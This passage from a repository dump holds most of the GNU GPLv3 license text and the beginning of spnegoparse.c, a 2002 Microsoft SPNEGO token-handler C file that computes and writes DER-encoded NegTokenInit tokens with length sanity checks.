168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/spnegotokenhandler/spnegoparse.c:
--------------------------------------------------------------------------------
1 | // Copyright (C) 2002 Microsoft Corporation
2 | // All rights reserved.
3 | //
4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS"
5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED
7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE.
9 | //
10 | // Date - 10/08/2002
11 | // Author - Sanj Surati
12 |
13 | /////////////////////////////////////////////////////////////
14 | //
15 | // SPNEGOPARSE.C
16 | //
17 | // SPNEGO Token Handler Source File
18 | //
19 | // Contains implementation of SPNEGO Token parsing functions.
20 | //
21 | /////////////////////////////////////////////////////////////
22 |
23 | #include
24 | #include
25 | #include
26 | #include "spnego.h"
27 | #include "derparse.h"
28 | #include "spnegoparse.h"
29 |
30 | //
31 | // Defined in DERPARSE.C
32 | //
33 |
34 | extern MECH_OID g_stcMechOIDList[];
35 |
36 | /**********************************************************************/
37 | /** **/
38 | /** **/
39 | /** **/
40 | /** **/
41 | /** Local SPNEGO Helper definitions **/
42 | /** **/
43 | /** **/
44 | /** **/
45 | /** **/
46 | /**********************************************************************/
47 |
48 |
49 | /////////////////////////////////////////////////////////////////////////////
50 | //
51 | // Function:
52 | // CalculateMinSpnegoInitTokenSize
53 | //
54 | // Parameters:
55 | // [in] nMechTokenLength - Length of the MechToken Element
56 | // [in] nMechListMICLength - Length of the MechListMIC Element
57 | // [in] mechOID - OID for MechList
58 | // [in] nReqFlagsAvailable - Is ContextFlags element available
59 | // [out] pnTokenSize - Filled out with total size of token
60 | // [out] pnInternalTokenLength - Filled out with length minus length
61 | // for initial token.
62 | //
63 | // Returns:
64 | // int Success - SPNEGO_E_SUCCESS
65 | // Failure - SPNEGO API Error code
66 | //
67 | // Comments :
68 | // Calculates the required length for a SPNEGO NegTokenInit token based
69 | // on the supplied variable length values and which elements are present.
70 | // Note that because the lengths can be represented by an arbitrary
71 | // number of bytes in DER encodings, we actually calculate the lengths
72 | // backwards, so we always know how many bytes we will potentially be
73 | // writing out.
74 | //
75 | ////////////////////////////////////////////////////////////////////////////
76 |
77 | int CalculateMinSpnegoInitTokenSize(long nMechTokenLength,
78 | long nMechListMICLength, SPNEGO_MECH_OID mechOid,
79 | int nReqFlagsAvailable, long* pnTokenSize,
80 | long* pnInternalTokenLength)
81 | {
82 | int nReturn = SPNEGO_E_INVALID_LENGTH;
83 |
84 | // Start at 0.
85 | long nTotalLength = 0;
86 | long nTempLength = 0L;
87 |
88 | // We will calculate this by walking the token backwards
89 |
90 | // Start with MIC Element
91 | if (nMechListMICLength > 0L)
92 | {
93 | nTempLength = ASNDerCalcElementLength(nMechListMICLength, NULL);
94 |
95 | // Check for rollover error
96 | if (nTempLength < nMechListMICLength)
97 | {
98 | goto xEndTokenInitLength;
99 | }
100 |
101 | nTotalLength += nTempLength;
102 | }
103 |
104 | // Next is the MechToken
105 | if (nMechTokenLength > 0L)
106 | {
107 | nTempLength += ASNDerCalcElementLength(nMechTokenLength, NULL);
108 |
109 | // Check for rollover error
110 | if (nTempLength < nTotalLength)
111 | {
112 | goto xEndTokenInitLength;
113 | }
114 |
115 | nTotalLength = nTempLength;
116 | }
117 |
118 | // Next is the ReqFlags
119 | if (nReqFlagsAvailable)
120 | {
121 | nTempLength += ASNDerCalcElementLength(SPNEGO_NEGINIT_MAXLEN_REQFLAGS, NULL);
122 |
123 | // Check for rollover error
124 | if (nTempLength < nTotalLength)
125 | {
126 | goto xEndTokenInitLength;
127 | }
128 |
129 | nTotalLength = nTempLength;
130 | }
131 |
132 | // Next is the MechList - This is REQUIRED
133 | nTempLength += ASNDerCalcMechListLength(mechOid, NULL);
134 |
135 | // Check for rollover error
136 | if (nTempLength < nTotalLength)
137 | {
138 | goto xEndTokenInitLength;
139 | }
140 |
141 | nTotalLength = nTempLength;
142 |
143 | // Following four fields are the basic header tokens
144 |
145 | // Sequence Token
146 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L);
147 |
148 | // Check for rollover error
149 | if (nTempLength < nTotalLength)
150 | {
151 | goto xEndTokenInitLength;
152 | }
153 |
154 | nTotalLength = nTempLength;
155 |
156 | // Neg Token Identifier Token
157 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L);
158 |
159 | // Check for rollover error
160 | if (nTempLength < nTotalLength)
161 | {
162 | goto xEndTokenInitLength;
163 | }
164 |
165 | nTotalLength = nTempLength;
166 |
167 | // SPNEGO OID Token
168 | nTempLength += g_stcMechOIDList[spnego_mech_oid_Spnego].iLen;
169 |
170 | // Check for rollover error
171 | if (nTempLength < nTotalLength)
172 | {
173 | goto xEndTokenInitLength;
174 | }
175 |
176 | nTotalLength = nTempLength;
177 |
178 | // App Constructed Token
179 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L);
180 |
181 | // Check for rollover error
182 | if (nTempLength < nTotalLength)
183 | {
184 | goto xEndTokenInitLength;
185 | }
186 |
187 | // The internal length doesn't include the number of bytes
188 | // for the initial token
189 | *pnInternalTokenLength = nTotalLength;
190 | nTotalLength = nTempLength;
191 |
192 | // We're done
193 | *pnTokenSize = nTotalLength;
194 | nReturn = SPNEGO_E_SUCCESS;
195 |
196 | xEndTokenInitLength:
197 |
198 | return nReturn;
199 |
200 | }
201 |
202 | /////////////////////////////////////////////////////////////////////////////
203 | //
204 | // Function:
205 | // CreateSpnegoInitToken
206 | //
207 | // Parameters:
208 | // [in] MechType - OID in MechList
209 | // [in] ucContextFlags - ContextFlags value
210 | // [in] pbMechToken - Mech Token Binary Data
211 | // [in] ulMechTokenLen - Length of Mech Token
212 | // [in] pbMechListMIC - MechListMIC Binary Data
213 | // [in] ulMechListMICn - Length of MechListMIC
214 | // [out] pbTokenData - Buffer to write token into.
215 | // [in] nTokenLength - Length of pbTokenData buffer
216 | // [in] nInternalTokenLength - Length of full token without leading
217 | // token bytes.
218 | //
219 | // Returns:
220 | // int Success - SPNEGO_E_SUCCESS
221 | // Failure - SPNEGO API Error code
222 | //
223 | // Comments :
224 | // Uses DER to fill out pbTokenData with a SPNEGO NegTokenInit Token
225 | // Note that because the lengths can be represented by an arbitrary
226 | // number of bytes in DER encodings, we actually calculate the lengths
227 | // backwards, so we always know how many bytes we will potentially be
228 | // writing out.
229 | //
230 | ////////////////////////////////////////////////////////////////////////////
231 |
232 | int CreateSpnegoInitToken(SPNEGO_MECH_OID MechType,
233 | unsigned char ucContextFlags, unsigned char* pbMechToken,
234 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC,
235 | unsigned long ulMechListMICLen, unsigned char* pbTokenData,
236 | long nTokenLength, long nInternalTokenLength)
237 | {
238 | int nReturn = SPNEGO_E_INVALID_LENGTH;
239 |
240 | // Start at 0.
241 | long nTempLength = 0L;
242 | long nTotalBytesWritten = 0L;
243 | long nInternalLength = 0L;
244 |
245 | unsigned char* pbWriteTokenData = pbTokenData + nTokenLength;
246 |
247 | // Temporary buffer to hold the REQ Flags as BIT String Data
248 | unsigned char abTempReqFlags[SPNEGO_NEGINIT_MAXLEN_REQFLAGS];
249 |
250 |
251 | // We will write the token out backwards to properly handle the cases
252 | // where the length bytes become adjustable
253 |
254 | // Start with MIC Element
255 | if (ulMechListMICLen > 0L)
256 | {
257 | nTempLength = ASNDerCalcElementLength(ulMechListMICLen, &nInternalLength);
258 |
259 | // Decrease the pbWriteTokenData, now we know the length and
260 | // write it out.
261 |
262 | pbWriteTokenData -= nTempLength;
263 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC,
264 | OCTETSTRING, pbMechListMIC, ulMechListMICLen);
265 |
266 | // Adjust Values and sanity check
267 | nTotalBytesWritten += nTempLength;
268 | nInternalTokenLength -= nTempLength;
269 |
270 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
271 | {
272 | goto xEndWriteNegTokenInit;
273 | }
274 |
275 | } // IF MechListMIC is present
276 |
277 | // Next is the MechToken
278 | if (ulMechTokenLen > 0L)
279 | {
280 | nTempLength = ASNDerCalcElementLength(ulMechTokenLen, &nInternalLength);
281 |
282 | // Decrease the pbWriteTokenData, now we know the length and
283 | // write it out.
284 | pbWriteTokenData -= nTempLength;
285 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGINIT_ELEMENT_MECHTOKEN,
286 | OCTETSTRING, pbMechToken, ulMechTokenLen);
287 | // Adjust Values and sanity check
288 | nTotalBytesWritten += nTempLength;
289 | nInternalTokenLength -= nTempLength;
290 |
291 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
292 | {
293 | goto xEndWriteNegTokenInit;
294 | }
295 |
296 | } // IF MechToken Length is present
297 |
298 | // Next is the ReqFlags
299 | if (ucContextFlags > 0L)
300 | {
301 |
302 | nTempLength = ASNDerCalcElementLength(SPNEGO_NEGINIT_MAXLEN_REQFLAGS, &nInternalLength);
303 |
304 | // We need a byte that indicates how many bits difference between the number
305 | // of bits used in final octet (we only have one) and the max (8)
306 |
307 | abTempReqFlags[0] = SPNEGO_NEGINIT_REQFLAGS_BITDIFF;
308 | abTempReqFlags[1] = ucContextFlags;
309 |
310 | // Decrease the pbWriteTokenData, now we know the length and
311 | // write it out.
312 | pbWriteTokenData -= nTempLength;
313 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGINIT_ELEMENT_REQFLAGS,
314 | BITSTRING, abTempReqFlags, SPNEGO_NEGINIT_MAXLEN_REQFLAGS);
315 |
316 | // Adjust Values and sanity check
317 | nTotalBytesWritten += nTempLength;
318 | nInternalTokenLength -= nTempLength;
319 |
320 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
321 | {
322 | goto xEndWriteNegTokenInit;
323 | }
324 |
325 | } // IF ContextFlags
326 |
327 | // Next is the MechList - This is REQUIRED
328 | nTempLength = ASNDerCalcMechListLength(MechType, &nInternalLength);
329 |
330 | // Decrease the pbWriteTokenData, now we know the length and
331 | // write it out.
332 | pbWriteTokenData -= nTempLength;
333 | nTempLength = ASNDerWriteMechList(pbWriteTokenData, MechType);
334 |
335 | // Adjust Values and sanity check
336 | nTotalBytesWritten += nTempLength;
337 | nInternalTokenLength -= nTempLength;
338 |
339 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0)
340 | {
341 | goto xEndWriteNegTokenInit;
342 | }
343 |
